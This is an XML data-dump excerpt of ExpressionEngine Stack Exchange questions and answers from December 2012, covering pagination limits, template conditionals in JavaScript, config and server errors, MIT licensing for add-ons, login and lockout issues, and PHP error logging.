  <row Id="890" PostTypeId="1" AcceptedAnswerId="896" CreationDate="2012-12-01T01:46:31.710" Score="6" ViewCount="746" Body="&lt;p&gt;Easy question. How do I set a limit on the &lt;em&gt;total&lt;/em&gt; results for a page that has pagination?  I have a site that displays 16 entries per-page, but would like to limit the total results to 200.  Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="28" LastEditDate="2013-11-09T17:38:30.980" LastActivityDate="2013-11-09T17:38:30.980" Title="Limit Total Results with Pagination" Tags="|channel-entries|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="891" PostTypeId="2" ParentId="888" CreationDate="2012-12-01T01:51:13.180" Score="4" Body="&lt;p&gt;Not sure about pre-populating sites with channels etc as every project is different but Made by Hippo posted an article re &lt;a href=&quot;http://eeinsider.com/blog/carl-crawley-bootstrapping-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;getting EE up and running quickly&lt;/a&gt;, might be useful to you, I've adopted a couple of things like pulling out config file to assets folder. &lt;/p&gt;&#xA;" OwnerUserId="227" LastActivityDate="2012-12-01T01:51:13.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="892" PostTypeId="2" ParentId="890" CreationDate="2012-12-01T03:21:41.260" Score="1" Body="&lt;p&gt;I'm not sure on how to &quot;cap&quot; it at 200, but you could always wrap the &lt;code&gt;{paginate}&lt;/code&gt; contents with a conditional to only show to a certain point (ie. 200/16 = 12.5 pages).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;name&quot;&#xA;    disable=&quot;categories|category_fields|member_data|trackbacks&quot;&#xA;    limit=&quot;16&quot;&#xA;}&#xA;...&#xA;{paginate}&#xA;{if {current_page} &amp;lt; 13}&#xA;  {first_page}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/first_page}&#xA;&#xA;  {previous_page}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/previous_page}&#xA;&#xA;  {next_page}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/next_page}&#xA;&#xA;  {last_page}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;url/P192&quot; class=&quot;page-last&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/last_page}&#xA;{/if}&#xA;{/paginate} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to tweak the &lt;code&gt;{last_page}&lt;/code&gt; hard coded url.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-01T03:21:41.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="893" PostTypeId="1" AcceptedAnswerId="894" CreationDate="2012-12-01T03:32:48.477" Score="3" ViewCount="1092" Body="&lt;p&gt;I am trying to use EE conditional statement within Javascript. The Javascript is called through a EE snippet. Part of the problem is I am using js conditionals right below my EE conditional. Is this even possible with a EE if statement? Do I need to escape my if statement some how? Any suggestions would be greatly appreciated.&#xA;Here is a simplification of my snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;...&#xA;&#xA;{if add_option_on==&quot;On&quot;}&#xA;if (thisForm.os2.value == &quot;&quot;) {&#xA; alert('Please choose a {exp:channel:entries channel=&quot;products&quot; disable=&quot;member_data|pagination&quot; limit=&quot;1&quot;}{customize_option_label}{/exp:channel:entries}');&#xA; return false;&#xA;}&#xA;{/if}&#xA;&#xA;...&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="244" LastEditorUserId="244" LastEditDate="2012-12-01T19:17:17.557" LastActivityDate="2012-12-01T19:17:17.557" Title="EE conditionals within javascript snippet" Tags="|conditionals|snippets|javascript|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="894" PostTypeId="2" ParentId="893" CreationDate="2012-12-01T03:51:07.360" Score="9" Body="&lt;p&gt;Try turning off javascript protection to allow the conditionals to parse: &lt;code&gt;$config['protect_javascript'] = 'n';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I would wrap the channel entries tag around the conditional like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;...&#xA;{exp:channel:entries channel=&quot;products&quot; disable=&quot;member_data|pagination&quot; limit=&quot;1&quot;}&#xA;{if add_option_on==&quot;On&quot;}&#xA;if (thisForm.os2.value == &quot;&quot;) {&#xA; alert('Please choose a {customize_option_label}');&#xA; return false;&#xA;}&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;...&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-01T03:51:07.360" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="895" PostTypeId="1" AcceptedAnswerId="898" CreationDate="2012-12-01T03:53:27.060" Score="4" ViewCount="2449" Body="&lt;p&gt;I've been using Focus Lab's Master Config for most of this year and have never run into this issue before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's what's happening, going to the domain (example: mysite.com/index.php or mysite.com) brings up a 500 internal server error. Going to mysite.com/admin.php does too. The .htaccess file is blank for the time being, but will eventually contain rules for removing index.php, expires, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to www.mysite.com/index.php, www.mysite.com or www.mysite.com/admin.php all work. Going to subpages with www in front also seems to work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My config.env.php file looks a little like this: &lt;a href=&quot;http://pastie.org/5461257&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/5461257&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the first case to include the www, I get the 500 internal server error, AND the site shows correctly, including subpages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I throw the following into .htaccess (www to no www redirect) and keep the first case statement in config.env.php to &lt;strong&gt;include&lt;/strong&gt; the www, the site &lt;strong&gt;works&lt;/strong&gt;. If I change the case statement to just be mysite.com, the site does not work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]&#xA;RewriteRule ^(.*)$ http://%1/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, if I force www in .htaccess and keep www in config.env.php, the site doesn't work. If leave off www in config.env.php, the site &lt;strong&gt;works&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, just to get the site up and running, I've forced removal of www, left www in the config.env.php file, and added other rules to .htaccess (such as removing index.php, expires, etc.) and it's working fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if anyone has any insight as to why something like this would happen? I don't know &lt;strong&gt;that&lt;/strong&gt; much about servers, but something tells me there's something funky with this client's host.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2012-12-02T19:09:29.197" Title="500 internal server error using Master Config" Tags="|config|htaccess|focus-lab-master-config|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="896" PostTypeId="2" ParentId="890" CreationDate="2012-12-01T03:54:20.270" Score="10" Body="&lt;p&gt;Pretty easy to do using &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot;&gt;Stash&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, make a list of the 200 entries you want to be shown in pages. This line should have no white-space or line returns in it to prevent parsing errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;entry_ids&quot; parse_tags=&quot;yes&quot;}{exp:channel:entries channel=&quot;pages&quot; limit=&quot;200&quot; disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot; dynamic=&quot;off&quot;}{entry_id}|{/exp:channel:entries}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then load the entries for each 16 entry page as normal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{exp:stash:get name='entry_ids' backspace='1'}&quot; &#xA;    parse=&quot;inward&quot; paginate=&quot;bottom&quot; limit=&quot;16&quot; dynamic=&quot;off&quot;}&#xA;    {title}&amp;lt;br/&amp;gt;&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2012-12-01T20:22:28.570" LastActivityDate="2012-12-01T20:22:28.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="897" PostTypeId="2" ParentId="770" CreationDate="2012-12-01T05:06:09.550" Score="1" Body="&lt;p&gt;Just wanted to say thank you to everyone for their help and advice on this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As some of you suspected, after all the trial and error the issue was hosting related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the hosting provider the Parallels/Linux server hosting the site required a patch to be applied that allowed PHP Mail to communicate with with a mail server that is using IPv6 - which the Google mail servers now are. Which is why emails were going to all the trial email addresses except for this Google Apps/Gmail addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that the patch has been applied to the server, &quot;Admin &gt; Email Configuration &gt; Email Protocol &gt; PHP Mail&quot; is working just fine. &lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2012-12-01T05:06:09.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="898" PostTypeId="2" ParentId="895" CreationDate="2012-12-01T05:12:13.617" Score="7" Body="&lt;p&gt;In cases like these it's likely that there is something unique about how the host sets certain environment variables within PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Who is the host?&lt;/li&gt;&#xA;&lt;li&gt;Do you have access to server error logs?&lt;/li&gt;&#xA;&lt;li&gt;If so, what's in the error log?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have a 500 error you should have a log of the reason somewhere on the server. If there isn't, as your host where you can access that information. That will really help drill down to the source of the problem.&lt;/p&gt;&#xA;" OwnerUserId="199" LastEditorUserId="199" LastEditDate="2012-12-02T19:09:29.197" LastActivityDate="2012-12-02T19:09:29.197" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="899" PostTypeId="2" ParentId="764" CreationDate="2012-12-01T05:23:30.800" Score="1" Body="&lt;p&gt;To get around the issue I place the JS in a &quot;Low Variables&quot; with early parsing turned on. Which got around the HTTPs issue and also allowed the variables in the JS to grab the required EE data.&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2012-12-01T05:23:30.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="900" PostTypeId="2" ParentId="895" CreationDate="2012-12-01T06:35:28.170" Score="4" Body="&lt;p&gt;In your index.php &amp;amp; admin.php are you pointing your system path to the correct spot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep my system above root:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '../system';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On a related note, can you turn on debugging in your index/admin files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earlier this week I had the same issue until I enabled debugging and got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your system folder path does not appear to be set correctly. Please open the following file and correct this: index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I promptly fixed the path and it worked.&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2012-12-01T06:35:28.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="901" PostTypeId="2" ParentId="780" CreationDate="2012-12-01T12:16:38.580" Score="1" Body="&lt;p&gt;There are also some hacks to shoehorn wygwam (and possibly others) into the category description field.&#xA;&lt;a href=&quot;http://ellislab.com/forums/viewthread/219408/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/219408/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2012-12-01T12:16:38.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="902" PostTypeId="1" AcceptedAnswerId="905" CreationDate="2012-12-01T15:36:42.733" Score="6" ViewCount="107" Body="&lt;p&gt;Things I'd like to admit and apologize for in advance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I am very new to StackExchange and have a feeling this may be too subjective, but I'm not sure.&lt;/li&gt;&#xA;&lt;li&gt;My understanding of the different types of software licenses is poor at best.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So here is my actual question. I am considering using a jQuery plugin in one of my commercial ExpressionEngine Addons. I know that the MIT license allows me to sell my addon, so long as I include a copy of the MIT license. Does it matter WHERE in my addon this license is kept? What would happen if down the road I needed to include another piece of code also released under the MIT license? Do I then need to include two copies of the license?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a standard convention as to where these licenses should be stored within an EE addon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand in advance if this needs to get closed for being off-topic, or too subjective. But figured I'd give it a shot. What are my other options? The EE forums? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MW&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2012-12-01T19:31:08.240" Title="How does including MIT Licensed code in an EE Addon work?" Tags="|add-on|add-on-development|license|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="903" PostTypeId="1" CreationDate="2012-12-01T17:48:02.463" Score="5" ViewCount="189" Body="&lt;p&gt;I have a live site that I used to be able to login to without any issue.  I hadn't tried logging in for a month or so and when I tried to login again, it just redirects me to the homepage of the website.  I'm using EE 2.2.2 with some 3rd party addons including structure and some others.  I've checked their support forums and can't seem to find anything similar to the issue I am having.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to figure out if its an EE issue or an add-on issue...&lt;/p&gt;&#xA;" OwnerUserId="504" LastActivityDate="2012-12-11T16:41:25.433" Title="Logging into CP returns to Site Homepage" Tags="|login|control-panel|admin|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="904" PostTypeId="1" AcceptedAnswerId="908" CreationDate="2012-12-01T18:16:23.763" Score="7" ViewCount="4067" Body="&lt;p&gt;My ideal situation would be to always log errors to file, but only display errors to logged in Super Admins. This way I'll be able to tell if my users are triggering PHP errors even if they aren't logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it appears as if displaying errors on screen is related to logging errors to the php error log (which I have at &lt;code&gt;/var/log/apache2/php_errors.log&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have &lt;code&gt;$config['debug'] = 2;&lt;/code&gt; it displays errors on screen and they get recorded in the error log. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have &lt;code&gt;$config['debug'] = 0;&lt;/code&gt;, nothing gets displayed on screen, and nothing gets recorded in the error logs, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can always have PHP errors logged to file, while still maintaining ExpressionEngine's PHP error display preferences?&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-12-01T20:31:55.317" Title="PHP error logging: force to always log errors to an error file" Tags="|php|debugging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="905" PostTypeId="2" ParentId="902" CreationDate="2012-12-01T18:17:25.913" Score="12" Body="&lt;p&gt;So given the proportion of EE addons that are sold commercially I think this is a relevant question, I also don't think this is a subjective question because the &lt;a href=&quot;http://opensource.org/licenses/MIT&quot; rel=&quot;nofollow noreferrer&quot;&gt;MIT license&lt;/a&gt; is actually pretty clear. The relevant section being:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&quot;The software&quot; being &lt;strong&gt;the MIT licensed code&lt;/strong&gt; rather than &lt;em&gt;your&lt;/em&gt; addon. Therefore if you include multiple pieces of MIT licensed code, include a copy of the license with each of them. If it's a single file like a jQuery plugin the easiest thing is to put the license at the top of that file (where it probably already is). If it's a library that spans multiple files include the license in the location in which it is provided and reference it from your (distributed) documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB&lt;/strong&gt; if you're &lt;em&gt;really&lt;/em&gt; worried about this stuff do consult an actual lawyer rather than taking the word of some guy from the internet. That said, the MIT license was designed to be both easy to read and explicitly non-prohibitive to including MIT licensed code in commercial software. To be well covered I suggest you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Leave a full copy of the license at the top of the jQuery plugin file that you distribute with your addon.&lt;/li&gt;&#xA;&lt;li&gt;Also include a reference to your README file to the fact that the addon uses said plugin/libraries and that these elements are MIT licensed, and the license is included in the relevant files.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In general developers use the MIT license because of it's permissive nature (vs something like the &lt;a href=&quot;http://www.gnu.org/copyleft/gpl.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;GPL&lt;/a&gt;), so if you do make an error the worst that is likely to happen is that the plugin's author asks you to amend it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a large number of similar questions on Stack Overflow on this topic (eg &lt;a href=&quot;https://stackoverflow.com/questions/706799/meaning-of-mit-license&quot;&gt;this one&lt;/a&gt; so that would be a good place to conduct further research if you feel the need to gain more clarity.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-12-01T19:31:08.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="906" PostTypeId="2" ParentId="903" CreationDate="2012-12-01T18:22:37.627" Score="2" Body="&lt;p&gt;Sometimes its as easy as clearing your browser cache or trying on another browser to see what happens. Also, try clearing your cookies for the domain. Has anything changed in the environment recently?&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2012-12-01T18:22:37.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="907" PostTypeId="2" ParentId="903" CreationDate="2012-12-01T19:19:14.603" Score="4" Body="&lt;p&gt;If you have your cookie domain set to something other than the actual domain of the site in your config then this can happen, and some security settings can also cause this too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try adding the following lines to &lt;code&gt;config.php&lt;/code&gt; file in order to get into the control panel and then debug further from there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['require_ip_for_login'] = 'n';&#xA;$config['require_ip_for_posting'] = 'n'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;http://ellislab.com/forums/viewthread/212779/&quot; rel=&quot;nofollow&quot;&gt;link to a post on the ExpressionEngine forums where I had a similar issue&lt;/a&gt; previously...&lt;/p&gt;&#xA;" OwnerUserId="505" LastEditorUserId="150" LastEditDate="2012-12-02T02:14:33.120" LastActivityDate="2012-12-02T02:14:33.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="908" PostTypeId="2" ParentId="904" CreationDate="2012-12-01T20:31:55.317" Score="8" Body="&lt;p&gt;You need to find and remove some calls to the &lt;code&gt;error_reporting()&lt;/code&gt; PHP function. This is set by the main index.php file in EE, and is often changed by extensions and other add-ons. You'll need to search through your whole codebase to make sure to remove all of these calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main culprit is the following section of index.php. When you have &lt;code&gt;$config['debug'] = 1;&lt;/code&gt; or &lt;code&gt;$config['debug'] = 2;&lt;/code&gt; set, the &lt;code&gt;DEBUG&lt;/code&gt; constant here will be set to &lt;code&gt;1&lt;/code&gt;. If you have &lt;code&gt;$config['debug'] = 0;&lt;/code&gt;, &lt;code&gt;DEBUG&lt;/code&gt; will be &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * --------------------------------------------------------------------&#xA; *  Set the error reporting level&#xA; * --------------------------------------------------------------------&#xA; */ &#xA;if (DEBUG == 1)&#xA;{&#xA;    error_reporting(E_ALL);&#xA;    @ini_set('display_errors', 1);&#xA;}&#xA;else&#xA;{&#xA;    error_reporting(0); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;New block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * --------------------------------------------------------------------&#xA; *  Set the error reporting level&#xA; * --------------------------------------------------------------------&#xA; */ &#xA;error_reporting(E_ALL);&#xA;if (DEBUG == 1)&#xA;{&#xA;    @ini_set('display_errors', 1);&#xA;}&#xA;else&#xA;{&#xA;    @ini_set('display_errors', 0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This new block ensures that &lt;code&gt;error_reporting()&lt;/code&gt; is always on, but disables showing the errors if the user does not match the requirement set by your &lt;code&gt;$config['debug']&lt;/code&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to search your installed add-ons for &lt;code&gt;ini_set()&lt;/code&gt; calls that override the &lt;code&gt;error_log&lt;/code&gt; and more importantly &lt;code&gt;display_errors&lt;/code&gt; values, since this would cause the errors to not be logged properly and/or to be shown even when the user is not an admin.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-12-01T20:31:55.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="909" PostTypeId="1" AcceptedAnswerId="962" CreationDate="2012-12-01T20:52:09.787" Score="1" ViewCount="286" Body="&lt;p&gt;I have a client who has found that when one user is locked out of the CP, all others are locked out too. This makes me think that this is based on IP address alone rather than username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody got any experience with this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT IN RESPONSE TO QUESTIONS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happened over a weekend so I wasn't online to check the database at the time. However the message received was 'You are only permitted to make four login attempts every 30 minute(s)'. So one user locked triggered this lockout but it affected all other users in his company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the check_password_lockout() method in Session.php it looks like the check is based on username &lt;strong&gt;OR&lt;/strong&gt; useragent. So it would appear that if he locked himself out in a particular browser, all other users on that IP would be locked out if they were using the same browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a security expert in any way, but shouldn't that SQL check be &lt;strong&gt;AND&lt;/strong&gt; not &lt;strong&gt;OR&lt;/strong&gt;? Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="506" LastEditDate="2012-12-03T07:43:46.820" LastActivityDate="2012-12-03T09:20:04.820" Title="CP Lockout based on IP alone?" Tags="|login|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="910" PostTypeId="1" AcceptedAnswerId="913" CreationDate="2012-12-01T20:55:17.643" Score="3" ViewCount="201" Body="&lt;p&gt;Using Focus Lab's Master Config, I've set a test global variable for production, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_global['global_test'] = 'test';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in an embedded template I've dropped in &lt;code&gt;{global_test}&lt;/code&gt;. Also tried it in a non-embedded template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases the output, regardless of environment, is this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{global_test}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something here?&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2012-12-02T03:06:40.050" LastActivityDate="2012-12-04T17:06:02.427" Title="Why wouldn't global variable parse correctly with Master Config?" Tags="|config|focus-lab-master-config|global-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="912" PostTypeId="2" ParentId="909" CreationDate="2012-12-01T22:13:53.820" Score="3" Body="&lt;p&gt;Locked out how? After too many attempts to login or actually blocked because of malicious activity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're blacklisted this is done based on your IP, so that would cause other people on the same network to be blocked too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Wouter&lt;/p&gt;&#xA;" OwnerUserId="76" LastEditorUserId="76" LastEditDate="2012-12-01T22:22:57.263" LastActivityDate="2012-12-01T22:22:57.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="913" PostTypeId="2" ParentId="910" CreationDate="2012-12-01T22:37:05.573" Score="2" Body="&lt;p&gt;Angie,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked through our config code and what you've done &lt;em&gt;should&lt;/em&gt; work. Can you confirm that you're editing the right environment file to be sure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm reading this from my phone so when I get to my desk later I'll run a few tests to see what's up.&lt;/p&gt;&#xA;" OwnerUserId="199" LastEditorUserId="199" LastEditDate="2012-12-02T19:09:04.110" LastActivityDate="2012-12-02T19:09:04.110" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="914" PostTypeId="1" AcceptedAnswerId="916" CreationDate="2012-12-01T22:37:25.063" Score="4" ViewCount="103" Body="&lt;p&gt;I have a channel listing characters in a TV show. On the index page of that channel, I display a visual index to all characters. The index looks like this and it uses Solspace's Tags module to pick out the image for each character:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;{current_channel}&quot; limit=&quot;500&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; disable=&quot;member_data|pagination&quot;}&#xA;&amp;lt;li&amp;gt;&#xA;&amp;lt;div class=&quot;CharIndexItem&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;CharIndexImage&quot;&amp;gt;&#xA;{embed=&quot;Characters/Snippet_Image_index_GoT&quot; character=&quot;{title}&quot; byname=&quot;{{current_channel_id}_byname}&quot; actor=&quot;{{current_channel_id}_actor_name}&quot;}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;CharIndexText&quot;&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the embed like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:entries channel=&quot;channel42&quot; limit=&quot;1&quot; tag=&quot;{embed:character} Index&quot;}&#xA;&amp;lt;a href=&quot;{comment_entry_id_auto_path}&quot;&amp;gt;&amp;lt;img src=&quot;{42_image:small}&quot; border=&quot;0&quot; title=&quot;{embed:character}{if embed:byname != &quot;&quot;}, {embed:byname}{/if}{if embed:actor != &quot;&quot;}, played by {embed:actor}{/if}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:tag:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, since the show has a lot of characters, that index ends up with a lot of embeds. Right now it isn't a problem, but the site gets hit with very heavy traffic when the show is on air, so I am thinking it may cause an issue then. Is there any way to cut back on these embeds? I do need to stay with Tags as the method of marking the images that get used for each character, it is the only workflow that really makes sense.&lt;/p&gt;&#xA;" OwnerUserId="352" LastEditorUserId="268" LastEditDate="2012-12-03T09:35:57.033" LastActivityDate="2012-12-03T09:35:57.033" Title="Need help cutting back on embeds when using Tags from Solspace" Tags="|add-on|embeds|solspace-tag|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
